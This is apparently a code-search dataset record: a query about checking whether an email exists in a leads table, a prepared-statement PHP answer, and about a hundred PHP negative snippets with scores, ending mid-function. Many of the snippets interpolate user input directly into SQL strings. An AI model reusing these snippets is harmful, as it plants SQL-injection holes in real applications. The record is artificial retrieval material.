query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
listlengths
3
101
negative_scores
listlengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Check if an email exists in the leads table by email
function leadExists($email) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id FROM " . $db_table_prefix . "leads WHERE email = ? LIMIT 1"); $stmt->bind_param("s", $email); $stmt->execute(); $stmt->store_result(); $num_returns = $stmt->num_rows; $stmt->close(); if ($num_returns > 0) { return true; } else { return false; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function checkIfEmailExists($email);", "function email_exists($email)\n {\n $sql = \"\n SELECT id\n FROM {$this->_db}\n WHERE email = \" . $this->db->escape($email) . \"\n LIMIT 1\n \";\n\n $query = $this->db->query($sql);\n\n if ($query->num_rows())\n {\n return TRUE;\n }\n\n return FALSE;\n }", "function check_existing_email($email){\n $sql = \"SELECT * from mbf_user WHERE email='$email'\";\n $query = $query = $this->db->query($sql);\n if ($query->num_rows() > 0){\n return true;\n }else{\n return false;\n }\n }", "private function check_If_Email_Exists($email){\r\n\r\n // Prepare query\r\n $query = \"SELECT * FROM `users` WHERE (Fuid = '' AND Guid = '' AND email = '{$email}')\";\r\n\r\n // Send query into server\r\n $this->_db->get_Rows($query);\r\n\r\n // Return result of query\r\n // True - if find\r\n // False - in dont\r\n return ($this->_db->count() > 0 ) ? true : false;\r\n }", "public function emailExists($email){\n $query = $this->conn->query(\"SELECT id FROM user WHERE email = '$email'\");\n $result = $query->fetchAll(PDO::FETCH_ASSOC);\n if($result){\n return true;\n }\n }", "function email_exists($db, $email)\n{\n\t$sql = 'SELECT * FROM users where email=:email';\n\t$st = $db->prepare($sql);\n\t$st->execute(array(':email'=>$email));\n\t$us = $st->fetchAll();\n\treturn (count($us) >= 1);\n}", "function emailExist($dbx, string $targetEmail){\n // debug($dbx->count(\"SELECT * FROM user WHERE email = ?\",[$targetEmail]));\n return $dbx->count(\"SELECT * FROM user WHERE email = ?\",[$targetEmail]);\n}", "function emailExists($email){\r\n $sql = \"SELECT email FROM users WHERE email = '$email'\";\r\n $count = $this->q($sql)->num_rows;\r\n if ($count > 0 ){ return true; } else{ return false; }\r\n }", "function emailExists($email) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT email FROM users WHERE email = ?\",array($email));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "function email_exist($link, $email){\n\n $exist = false;\n\n $sql = \"SELECT email FROM users WHERE email = '$email'\";\n $result = mysqli_query($link, $sql);\n\n if( $result && mysqli_num_rows($result) == 1 ){\n\n $exist = true;\n\n }\n\n return $exist;\n\n }", "public function isEmailExist($email){ \n $query = mysqli_query($this->database, \"SELECT * FROM users WHERE Gmail = '$email'\"); \n $row = mysqli_num_rows($query); \n if($row > 0){ \n return true; \n } else { \n return false; \n } \n }", "function email_exists($email)\n {\n // 1. Connect to the database.\n $link = connect();\n\n // 2. Protect variables to avoid any SQL injection\n $email = mysqli_real_escape_string($link, $email);\n\n // 3. Generate a query and return the result.\n $result = mysqli_query($link, \"\n SELECT id\n FROM tbl_users\n WHERE email = '{$email}'\n \");\n\n // 4. Disconnect from the database.\n disconnect($link);\n\n // 5. There should only be one row, or FALSE if nothing.\n return mysqli_num_rows($result) >= 1;\n }", "public function emailExists($email)\n {\n $e = \"'\".$email.\"'\";\n $qb = new QB;\n $qb->conn = static::getDB();\n $results = $qb->select('users', 'email')\n ->where('email', '=', $e)\n ->all();\n if(count($results) > 0){\n $this->errors[] = \"Sorry! This email has already been taken.\";\n }\n }", "function emailExists($email)\n\t{\n\t\tglobal $db,$db_table_prefix;\n\t\n\t\t$sql = \"SELECT Active FROM \".$db_table_prefix.\"Users\n\t\t\t\tWHERE\n\t\t\t\tEmail = '\".$db->sql_escape(sanitize($email)).\"'\n\t\t\t\tLIMIT 1\";\n\t\n\t\tif(returns_result($sql) > 0)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\t\n\t}", "function email_exists($email){\n\t\t$emailexistsql = \"SELECT email FROM users WHERE email = :email\";\n\n\t\t$stmt = $database->prepare();\n\n\t\t$stmt->bindParam(':email', $email);\n\n\t\t$stmt->execute();\n\n\t\tif ($stmt->rowCount() > 0){\n\t\t\techo(\"Email Exists\");\n\t\t\treturn true;\n\t\t}\n\t}", "function email_exists($email)\n {\n global $connection;\n $query = \"select user_email from users where user_email = '{$email}'\";\n $result = mysqli_query($connection, $query);\n confirmQuery($result);\n if(mysqli_num_rows($result) > 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "public function exists($emailAddress);", "function check_if_email_is_in_use($email){\n\n $query = $this->db->get_where('tbl_doctor_account', array('dacc_email' => $email));\n return $query->num_rows();\n\n }", "function existsByEmail( $email, $oid=null);", "public static function email_exists($email) {\n $connection = DatabaseConnection::connection();\n $sql = \"SELECT user_id FROM users WHERE email=:email\";\n $statement = $connection->prepare($sql);\n $statement->execute(['email' => $email]);\n $count = count($statement->fetchAll());\n if($count == 1)\n return TRUE;\n else\n return FALSE;\n }", "function isEmailPresent($email = NULL){\t\t\t\n\t\t$query = \" SELECT id\";\n\t\t$query .= \" FROM \" . $this->config->item('ems_organisers','dbtables');\n\t\t$query .= \" WHERE email = ? \";\t\t\n\t\t$dataBindArr = array($email);\n\t\t$res = $this->db->query($query, $dataBindArr);\n\t\t$resArr = $res->result();\t\t\n\t\treturn count($resArr);\n\t}", "function DB_email_existing_check($email){\n $connection = DB_get_connection();\n $queryCheck = \"SELECT * FROM `users` WHERE Email='$email'\";\n $result = mysqli_query($connection, $queryCheck);\n if(mysqli_num_rows($result) > 0){\n \n return true;\n \n }else{\n\n return false;\n\n }\n\n}", "function isExistingEmail($email)\n\t{\n\t\t$this->db->from($this->account);\n\t\t$this->db->where('email',$email);\n\t\t$query = $this->db->get();\n\n\t\t$result = $query->result();\n\n\t\tif(!empty($result)){\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function emailExists($email) {\n\n\t $app = getApp();\n\n\t $sql = 'SELECT ' . $app->getConfig('security_email_property') . ' FROM ' . $this->table .\n\t ' WHERE ' . $app->getConfig('security_email_property') . ' = :email LIMIT 1';\n\n\t $dbh = ConnectionModel::getDbh();\n\t $sth = $dbh->prepare($sql);\n\t $sth->bindValue(':email', $email);\n\n\t if($sth->execute()) {\n\t $foundUser = $sth->fetch();\n\t if($foundUser){\n\t return true;\n\t }\n\t }\n\t return false;\n\t}", "function checkMAIL($account, $email)\n {\n while ($users = $account->fetch()) {\n if ($users['email'] == $email) {\n return true;\n }\n }\n return false;\n }", "public function emailExists($email)\n {\n $conn = Db::getInstance();\n $statement = $conn->prepare(\"select * from users where email = :email\");\n $statement->bindParam(\":email\", $email);\n $statement->execute();\n $count = $statement->rowCount();\n if ($count > 0) {\n return true;\n }\n else {\n return false;\n }\n }", "public function isEmailExist() {\n $query = $this->conn->prepare(\"SELECT * FROM subscribers WHERE email = :email\");\n $query->execute([\"email\" => $this->email]);\n $res = $query->fetch(PDO::FETCH_OBJ);\n return $res ? true : false;\n }", "function email_exists($email){\n $sql = \"SELECT id FROM users WHERE email='$email'\";\n $result = query($sql);\n\n if(row_count($result)==1){\n return true;\n }else{\n return false;\n }\n}", "function check_email_exists($email)\n\t{\n\n\t\tglobal $Oau_auth;\n\t\t$email = sanitize($email);\n\n\t\t$query = \"SELECT `student_Idn` FROM `student` WHERE `email` = '$email'\";\n\t\t$run_query = mysqli_query($Oau_auth, $query);\n\n\t\tif(mysqli_num_rows($run_query) > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "function search_by_email($tableName,$email) // searching employee by email\r\n {\r\n $conn = self::build_connection();\r\n $sql = \"select * from \".$tableName .\" WHERE email='{$email}'\";\r\n $result = $conn->query($sql);\r\n self::close_connection($conn);\r\n if($result->num_rows > 0){ //if value >0 true\r\n return true;\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "public function exists($email) {\n $sql =<<<SQL\nSELECT * from $this->tableName\nwhere email=?\nSQL;\n $pdo = $this->pdo();\n $statement = $pdo->prepare($sql);\n $statement->execute(array($email));\n if($statement->rowCount() != 0) {\n return true;\n }\n return false;\n }", "function existEmail($email, $includeBlocked = FALSE) {\n if (trim($email) != '') {\n $sql = \"SELECT count(*)\n FROM %s\n WHERE surfer_email = '%s'\";\n $blockedClause = ($includeBlocked === FALSE) ? ' AND surfer_valid != 4' : '';\n $params = array($this->tableSurfer, $email, $blockedClause);\n if ($res = $this->databaseQueryFmtWrite($sql, $params)) {\n if ($row = $res->fetchRow()) {\n return ((bool)$row[0] > 0);\n }\n }\n }\n return FALSE;\n }", "public function existEmail($email)\n\t{\n\t\treturn $this->assistant_model->existEmail($email);\n\t}", "function email_exists($email) {\n $email = sanitize($email);\n $query = mysql_query(\"SELECT COUNT(`user_id`) FROM `users` WHERE `email` = '$email'\");\n return (mysql_result($query, 0) == 1) ? true : false;\n}", "public function email_exists() {\n\t\t\n\t\t$email = $this->input->post('users_email');\n\t\t$edit_id = $this->input->post ( 'edit_id' );\n\t\t$where = array (\n\t\t\t'users_email' => trim ( $email )\n\t\t);\n\n\t\tif ($edit_id != \"\") {\n\n\t\t\t$where = array_merge ( $where, array (\n\t\t\t\t\t\"users_id !=\" => $edit_id \n\t\t\t) );\n\t\n\t\t} \n\n\t\t$result = $this->Mydb->get_record( 'users_id', $this->table, $where );\n\t\t\n\t\tif ( !empty ( $result ) ) {\n\t\t\t$this->form_validation->set_message ( 'email_exists', get_label ( 'user_email_exist' ) );\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "function email_exist($email)\n {\n $this->db->select(EMAIL_ID);\n $this->db->from(TBL_USERS);\n $this->db->where(EMAIL_ID, $email);\n $query = $this->db->get();\n if ($query->num_rows() == 1) {\n return $query->row();\n } else {\n return false;\n }\n }", "function email_existe($email){\n\t$sql = \"SELECT id FROM usuarios WHERE email = '$email'\";\n\n\t$resultado = query($sql);\n\n\tif(contar_filas($resultado) == 1){\n\n\t\treturn true;\n\t} else{\n\t\treturn false;\n\t}\n\n}", "private function emailExists( $email ) {\n global $wpdb;\n $query = \"select author_email from \" . $wpdb->prefix . \"roni_images where author_name='\" . $email . \"';\";\n if( empty($wpdb->query( $query ) ) ) {\n return true;\n } else {\n return false;\n }\n }", "function isUserExistsByEmail($email) {\n $query = \"select * from user_profile_details WHERE email='{$email}' \";\n $result_set = mysql_query($query);\n if(isQuerySuccess($result_set)){\n\t\tif (mysql_num_rows($result_set) > 0) { \n\t\t\treturn true;\n\t\t} else { \n\t\t\treturn false;\n\t\t}\t\n\t}\t\n}", "function emailExist($link, $useremail) {\n\t\t// use escape function to avoid sql injection attacks\n\t\t$email = mysqli_real_escape_string($link, $_POST[$useremail]);\n\t\t$query = \"SELECT `email` FROM users WHERE email='\".$email.\"'\";\n\n\t\t$result = mysqli_query($link, $query);\n\t\treturn mysqli_num_rows($result);\n\t}", "public function checkIsExistEmail($email = null)\n {\n $results = $this->Fortunes\n ->find()\n ->where(['mail_address =' => $email])\n ->toArray();\n if(isset($results)) return true;\n return false;\n }", "public function _check_email_exists($email = ''){\n\t\t\n\t}", "public function emailExists( $email )\n\t{\n\t\t// database connection and sql query\n $core = Core::dbOpen();\n $sql = \"SELECT userID FROM user WHERE email = :email\";\n $stmt = $core->dbh->prepare($sql);\n $stmt->bindParam(':email', $email);\n Core::dbClose();\n \n try\n {\n if( $stmt->execute()) \n\t\t\t{\n $row = $stmt->fetch();\n if( $stmt->rowCount() > 0 ) {\t\t\t\t\n \treturn true;\n\t\t\t\t}\n }\n } catch ( PDOException $e ) {\n echo \"Search for email failed!\";\n }\n\t\t\n\t\treturn false;\n\t}", "function admin_email_exists($email){\n include 'connection.php';\n $query = \"SELECT email FROM admin_users WHERE email = '$email'\";\n $result = $connection->query($query);\n $rows = $result->num_rows;\n for($i=0; $i<$rows; $i++){\n $result->data_seek($i);\n $row = $result->fetch_array(MYSQLI_ASSOC);\n if($row['email'] == $email){\n return true;\n }\n else return false;\n }\n}", "function emailExists($email) {\n return valueExists('users', 'email', $email);\n}", "function email_exists($email,$id='')\n {\n $this->db->where('email', $email);\n if(!empty($id)){\n $this->db->where('id !=', $id);\n }\n $query = $this->db->get('users');\n if( $query->num_rows() > 0 ){ return True; } else { return False; }\n }", "function doesEmailExist($email) {\n global $db;\n\n $query = \"SELECT * FROM user WHERE email=:email\";\n $statement = $db->prepare($query);\n $statement->bindValue(':email', $email); \n $statement->execute();\n $results = $statement->fetchAll();\n $statement->closeCursor();\n return (count($results) > 0);\n}", "public function isEmailExist($email){\n\n $stmt = $this->con->prepare(\"SELECT uid FROM users WHERE email = ?\");\n $stmt->bind_param(\"s\",$email);\n $stmt->execute();\n $stmt->store_result();\n return $stmt->num_rows > 0;\n\n }", "public function emailExists ($email){\n $con = connectPDO();\n $query = $con->prepare(\"SELECT COUNT(id) FROM users WHERE email = ?\");\n $query->execute(array($email));\n $rowcount = $query->fetchColumn();\n if ($rowcount > 0) {\n return true;\n }else{\n return false;\n }\n }", "public function accountExists($email) {\r\n $this->db = new Db();\r\n \r\n $this->db->scrub($email);\r\n $query = \"SELECT UID FROM MEMBER WHERE EMAIL = '\".$email.\"'\";\r\n $results = $this->db->select($query);\r\n return(sizeof($results)>0);\r\n }", "private function isStaffExists($email) {\n $stmt = $this->conn->prepare(\"SELECT staff_id from staff WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "function MailExists($email) {\n\n\t$query = \"SELECT email FROM usuarios WHERE email = '$email'\";\n\t$result = DBExecute($query);\n\n\tif (mysqli_num_rows($result) <= 0)\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "function email_exist($email) {\n\n $sql = \"SELECT id FROM users WHERE email = '$email'\";\n\n $result = query($sql);\n \n if(row_count($result) == 1) {\n return true;\n } else {\n return false;\n }\n}", "private function emailExists($email)\n {\n $query = \"SELECT manager_password,manager_name,is_accepted,admin_id\n FROM \" . $this->table . \"\n WHERE manager_email = ?\n LIMIT 0,1\";\n\n // prepare the query\n $stmt = $this->conn->prepare($query);\n $this->manager_email = $email;\n $this->manager_email = htmlspecialchars(strip_tags($this->manager_email));\n // bind value\n $stmt->bindParam(1, $this->manager_email);\n // execute the query\n $stmt->execute();\n // get number of rows\n $num = $stmt->rowCount();\n if ($num > 0) {\n //set password\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n $this->manager_password = $row['manager_password'];\n $this->manager_name = $row['manager_name'];\n $this->is_accepted = $row['is_accepted'];\n // return true because email exists in the database\n\n return true;\n }\n // return false if email does not exist in the database\n return false;\n }", "public function exists($email, $token);", "public function emailExist($email)\n {\n $sql = \" SELECT `email` FROM customer WHERE `customer_email` = '$email'\";\n\n return $this->db_query($sql);\n\n }", "function is_mail_exists($mail){\n\t\t\n\t\t$select_data = \"*\"; \n\t\t\n\t\t$where_data = array(\t// ----------------Array for check data exist ot not\n\t\t\t'email' => $mail\n\t\t);\n\t\t\n\t\t$table = \"userdetails\"; //------------ Select table\n\t\t$result = $this->get_table_where( $select_data, $where_data, $table );\n\t\t\n\t\tif( count($result) > 0 ){ // check if user exist or not\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t }", "function email_exists($email){\n include 'connection.php';\n $query = \"SELECT email FROM basicusers WHERE email = '$email'\";\n $result = $connection->query($query);\n $rows = $result->num_rows;\n for($i=0; $i<$rows; $i++){\n $result->data_seek($i);\n $row = $result->fetch_array(MYSQLI_ASSOC);\n if($row['email'] == $email){\n return true;\n }\n else return false;\n }\n}", "public function user_if_email_exists($email)\n\t{\n\t\t$sql = \"SELECT id FROM \".$this->table.\" WHERE email = ?\";\n\t\t$data = array($email);\n\t\t$query = $this->db->query($sql, $data);\n\t\treturn $query->num_rows();\n\t}", "public function email_exists($email) {\n\n\t\t\t$query = $this->db->prepare(\"SELECT COUNT(`user_id`) FROM `users` WHERE `email`= ?\");\n\t\t\t$query->bindValue(1, $email);\n\t\t\n\t\t\ttry{\n\n\t\t\t\t$query->execute();\n\t\t\t\t$rows = $query->fetchColumn();\n\n\t\t\t\tif($rows == 1){\n\t\t\t\t\treturn true;\n\t\t\t\t}else{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t} catch (PDOException $e){\n\t\t\t\tdie($e->getMessage());\n\t\t\t}\n\n\t\t}", "function admin_check_email_exists($email)\n\t{\n\n\t\tglobal $Oau_auth;\n\t\t$email = sanitize($email);\n\n\t\t$query = \"SELECT `admin_Idn` FROM `administrator` WHERE `email` = '$email'\";\n\t\t$run_query = mysqli_query($Oau_auth, $query);\n\n\t\tif(mysqli_num_rows($run_query) > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "public function emailExists($email='') {\n\t\t$checkEmail = check($email) ? $email : $this->_email;\n\t\tif(!check($checkEmail)) return;\n\t\t$result = $this->db->queryFetchSingle(\"SELECT \"._CLMN_EMAIL_.\" FROM \"._TBL_MI_.\" WHERE \"._CLMN_EMAIL_.\" = ?\", array($checkEmail));\n\t\tif(!is_array($result)) return;\n\t\treturn true;\n\t}", "function check_exists_email($email){\n /* Select 'users' table on database */\n $this->db->select('email');\n $this->db->from('users');\n $this->db->where('email', $email);\n $result = $this->db->get();\n \n if($result->num_rows() >0){\n /*Username Exists*/\n return TRUE;\n } else {\n /*Username does not exist*/\n return FALSE;\n }\n }", "public function emailExists($email)\n {\n global $db_conn;\n $sql = \"SELECT id FROM users WHERE email = '{$email}'\";\n $result = $db_conn->query($sql);\n\n if ($result->num_rows > 0) {\n $_SESSION['error_msg'][]\n = 'Escolha outro E-mail, este já encontra-se em uso.';\n return true;\n }\n\n return false;\n }", "public function hasByEmail(Email $email): bool\n {\n }", "Public Function emailExists($Email)\n\t{\n\t\t$Result = $this->_db->fetchRow('SELECT * FROM bevomedia_user WHERE email = ?', $Email);\n\t\tif(sizeOf($Result) == 0 || !$Result)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}", "function isEmailInList($email) {\n\t\tglobal $polarbear_db;\n\t\t$emailSafe = $polarbear_db->escape($email);\n\t\t$sql = \"SELECT count(id) AS antal FROM \" . POLARBEAR_DB_PREFIX . \"_emaillist_emails WHERE listID = '{$this->id}' AND email = '$emailSafe'\";\n\t\tglobal $polarbear_db;\n\t\t$antal = $polarbear_db->get_var($sql);\n\t\treturn (bool) $antal;\n\t}", "public function checkEmailExisting($email)\r\n\t{\r\n\t\t\r\n\t\t$query=mysql_query(\"SELECT 1 FROM tbl_users WHERE email='$email' and oauth_provider='DReview'\") or die(mysql_error());\r\n\t\t$emailCount = mysql_fetch_row($query);\r\n\t\r\n if ($emailCount >= 1)\r\n \treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\r\n\t}", "public function email_exists($email){\n\t\t$query = $this->db->prepare(\"SELECT count(`user_email`) FROM `nw_users` WHERE `user_email`= ?\");\n\t\t$query->bindValue(1, $email);\n\n\t\ttry{\n\t\t\t$query->execute();\n\t\t\t$rows = $query->fetchColumn();\n\n\t\t\tif($rows == 1){\n\n\t\t\t\treturn true;\n\n\t\t\t}else{\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}catch(PDOException $e){\n\t\t\tdie($e->getMessage());\n\t\t}\n\t}", "function fb_email_exist($email)\n {\n $this->db->select('userID,emailID');\n $this->db->from(TBL_USERS);\n $this->db->where(EMAIL_ID, $email);\n $query = $this->db->get();\n if ($query->num_rows() == 1) {\n $result = $query->result();\n return $result[0];\n } else {\n return false;\n }\n }", "public function isUserExisted($email) {\r\n $result = mysqli_query($this->con,\"SELECT email from users WHERE email = '$email'\");\r\n $no_of_rows = mysqli_num_rows($result);\r\n if ($no_of_rows > 0) {\r\n // user existed \r\n return true;\r\n } else {\r\n // user not existed\r\n return false;\r\n }\r\n }", "private function emailInUse( $email, $id )\n\t{\n\t\t$stmt = $this->connection->prepare('SELECT id FROM ' . Configure::get('database/prefix') . 'accounts WHERE email_hash = :email LIMIT 1');\n\t\t$stmt->bindValue(':email', $email, PDO::PARAM_STR);\n\t\t$stmt->execute();\n\t\t$data = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t$stmt->closeCursor();\n\n\t\tif( !empty($data) && $data['id'] != $id )\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public function emailExiste($email){\n\t\t$query = \"SELECT * FROM `funcionarios` WHERE email = $email\";\n\t\t$con = conn();\n\t\t$row = mysqli_query($con,$query);\t\t\n\t\tmysqli_close($con);\n\t\t\n\t\tif(mysqli_num_rows($row) > 0){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "public function check_email_exist($email)\n\t{\n\t\t$query = $this->db->get_where('users', array('email' => $email));\n\t\tif($query->num_rows() > 0) \n { \n return true; \n } \n else \n { \n return false; \n } \n\t}", "function emailExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT active\n\t\tFROM \" . $db_table_prefix . \"users\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "function emailExists(){\n\t\t\t\t \n\t\t\t\t // query to check if email exists\n\t\t\t\t $query = \"SELECT rep_id, rep_name, rep_surname, rep_pwd, rep_email\n\t\t\t\t FROM \" . $this->table . \"\n\t\t\t\t WHERE rep_email = :rep_email\n\t\t\t\t LIMIT 0,1\";\n\t\t\t\t \n\t\t\t\t // prepare the query\n\t\t\t\t $stmt = $this->conn->prepare($query);\n\t\t\t\t \n\t\t\t\t // sanitize\n\t\t\t\t $this->rep_email=htmlspecialchars(strip_tags($this->rep_email));\n\t\t\t\t \n\t\t\t\t // bind given email value\n\t\t\t\t $stmt->bindParam(':rep_email', $this->rep_email);\n\t\t\t\t \n\t\t\t\t // execute the query\n\t\t\t\t $stmt->execute();\n\t\t\t\t \n\t\t\t\t // get number of rows\n\t\t\t\t $num = $stmt->rowCount();\n\t\t\t\t \n\t\t\t\t // if email exists, assign values to object properties for easy access and use for php sessions\n\t\t\t\t if($num>0){\n\t\t\t\t \n\t\t\t\t // get record details / values\n\t\t\t\t $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t\t\t \n\t\t\t\t // assign values to object properties\n\t\t\t\t $this->rep_id = $row['rep_id'];\n\t\t\t\t $this->rep_name = $row['rep_name'];\n\t\t\t\t $this->rep_surname = $row['rep_surname'];\n\t\t\t\t $this->rep_pwd = $row['rep_pwd'];\n\t\t\t\t $this->rep_email = $row['rep_email'];\n\t\t\t\t \n\t\t\t\t // return true because email exists in the database\n\t\t\t\t return true;\n\t\t\t\t }\n\t\t\t\t \n\t\t\t\t // return false if email does not exist in the database\n\t\t\t\t return false;\n\t\t\t\t}", "private function isUserExists($email) {\n $stmt = $this->conn->prepare(\"SELECT id FROM app_users WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "static function email_available($email) {\n global $con;\n $sql = \"SELECT COUNT(`id`) AS 'count' FROM `user` WHERE `email` LIKE '\".$email.\"';\";\n $query = mysqli_query($con, $sql);\n $count = mysqli_fetch_object($query)->count;\n if ($count == 0) {\n return TRUE;\n } else {\n return FALSE;\n }\n }", "public function exist_email()\r\n {\r\n $email = $this->input->post('email');\r\n \r\n $this->load->model('frontend/user_model');\r\n \r\n $record = $this->user_model->select('COUNT(id) as total')->find_by(array('email' => $email));\r\n \r\n if ($record->total == 0)\r\n echo false;\r\n else\r\n echo true; \r\n }", "function check_email_duplicate(){\n $this->SQL = \"SELECT email FROM users\"\n . \" WHERE email = '\" . $this->params['email'] . \"';\" ;\n \n \n $this->selecet_query();\n return $this->results;\n \n }", "function isUniqueEmail($email,$mysqli){\n\t$sql = \"SELECT * FROM all_users WHERE Email_address='$email'\";\n\t$result = $mysqli->query($sql);\n\tif ($result->num_rows>0){\n\t\treturn false;\n\t}\n\telse return true;\n}", "public static function doesEmailExist($email) {\n $usersArray = User::model()->findAll( 'email=:email', array (\n 'email' => $email \n ) );\n return sizeof( $usersArray ) > 0;\n }", "private function isUserExists($email) {\n $stmt = $this->con->prepare(\"SELECT id from users WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "public function userExists($email) {\r\n $query = 'SELECT 1 FROM usermanagement.users WHERE email=\\'' . pg_escape_string($email) . '\\'';\r\n $results = $this->dbDriver->fetch($this->dbDriver->query($query));\r\n return !empty($results);\r\n }", "function isUserExisted($email) {\n $result = mysql_query(\"SELECT email from users WHERE email = '$email'\",$first);\n $no_of_rows = mysql_num_rows($result);\n if ($no_of_rows > 0) {\n // user existed \n return true;\n } else {\n // user not existed\n return false;\n }\n }", "public function isUserEmilExisted($email) {\n $result = mysql_query(\"SELECT * from users WHERE email = '$email'\");\n $no_of_rows = mysql_num_rows($result);\n if ($no_of_rows > 0) {\n // user email existed \n return true;\n } else {\n // user email not existed\n return false;\n }\n }", "public function isUserExisted($email) {\n $stm = $this->db->prepare(\"SELECT email FROM users WHERE email=?\");\n $stm->execute(array($email));\n $user=$stm->fetch(PDO::FETCH_OBJ);\n if($user!=null){\n return true;\n }else{\n false;\n }\n }", "public function check_email_existence() {\n\t\t$email = $_GET['email'];\n\t\t$checkExistEmail = $this->User->find('count', array('conditions'=>array('User.email' => $email)));\n\t\techo $checkExistEmail;\n\t\texit();\n\t}", "public function is_email_existed($email)\n {\n $query = $this->db->get_where('users', array('email' => $email));\n return ($query->num_rows() > 0);\n }", "public function userExists($email){\r\n\r\n\t\t$this->stmt = $this->db->prep(\"SELECT email FROM Users WHERE email=:email\");\r\n\t\t$this->stmt->bindParam(':email', $email);\r\n\t\t$this->stmt->execute();\r\n\t\t$email_check = $this->stmt->fetch(PDO::FETCH_ASSOC);\r\n\r\n\t\t//comparing given email to what was fetched from the database\r\n\t\tif($email == $email_check[\"email\"]){\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\t}", "function checkExistingEmail($clientEmail){\n $db = acmeConnect();\n $sql = 'SELECT clientEmail FROM clients WHERE clientEmail = :email';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':email', $clientEmail, PDO::PARAM_STR);\n $stmt->execute();\n $matchEmail = $stmt->fetch(PDO::FETCH_NUM);\n $stmt->closeCursor();\n if(empty($matchEmail)){\n return 0;\n } else {\n return 1;\n }\n}", "public function checkUserExist($email)\n {\n $sql = \"SELECT `id` FROM `user` WHERE email = '$email'\";\n $query = $this->db->prepare($sql);\n $query->execute();\n $result = $query->fetchAll();\n $count = sizeof($result);\n if ($count > 0)\n return true;\n else return false;\n }", "function user_email_exists($email){\n global $connection;\n\n $query = \"SELECT user_email FROM users WHERE user_email = '{$email}'\";\n $result = mysqli_query($connection, $query);\n confirm($result);\n\n //if the user_email column name already has a value that is given by the user when registering\n if (mysqli_num_rows($result) > 0) {\n return true;\n }else{\n return false;\n }\n}", "function franchiseExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"franchise\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "private function emailExists($email)\n\t{\n\t\t$stmt = $this->dbh->prepare('SELECT `email` FROM `users` WHERE `email` = :email');\n\t\t$stmt->execute(array(':email' => $email));\n\n\t\tif ($stmt->rowCount() > 0) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function emailExists(string $email): bool\n {\n $query = <<< 'QUERY'\n SELECT * FROM users WHERE email=:email\n QUERY;\n\n $statement = $this->database->connection()->prepare($query);\n $statement->bindParam('email', $email, PDO::PARAM_STR);\n\n $statement->execute();\n $res = $statement->fetch();\n\n if ($res != false) return true;\n\n $query = <<< 'QUERY'\n SELECT * FROM usersPending WHERE email=:email\n QUERY;\n\n $statement = $this->database->connection()->prepare($query);\n $statement->bindParam('email', $email, PDO::PARAM_STR);\n\n $statement->execute();\n $res = $statement->fetch();\n return $res != false;\n }", "public function emailExists($email) {\n\n return $this->getEntityManager()\n ->getRepository('Alt68\\Entities\\User')\n ->findOneBy(array('email' => $email));\n }", "function email_exists($email = '', $userid = '')\n\t{\n\t\t$this->db->select('user_email');\n\t\tif($userid != '')\n\t\t{\n\t\t$this->db->where('user_id != ', $userid);\n\t\t}\n\t\t$this->db->where('user_email', $email);\n\t\t$this->db->from('ci_users');\n\t\t$query = $this->db->get();\n\t\tif($query->num_rows() > 0) \n\t\treturn true;\n\t\telse\n\t\treturn false;\n\t}", "private function isUserExists($email)\n {\n $stmt = $this->conn->prepare(\"SELECT id FROM users WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n 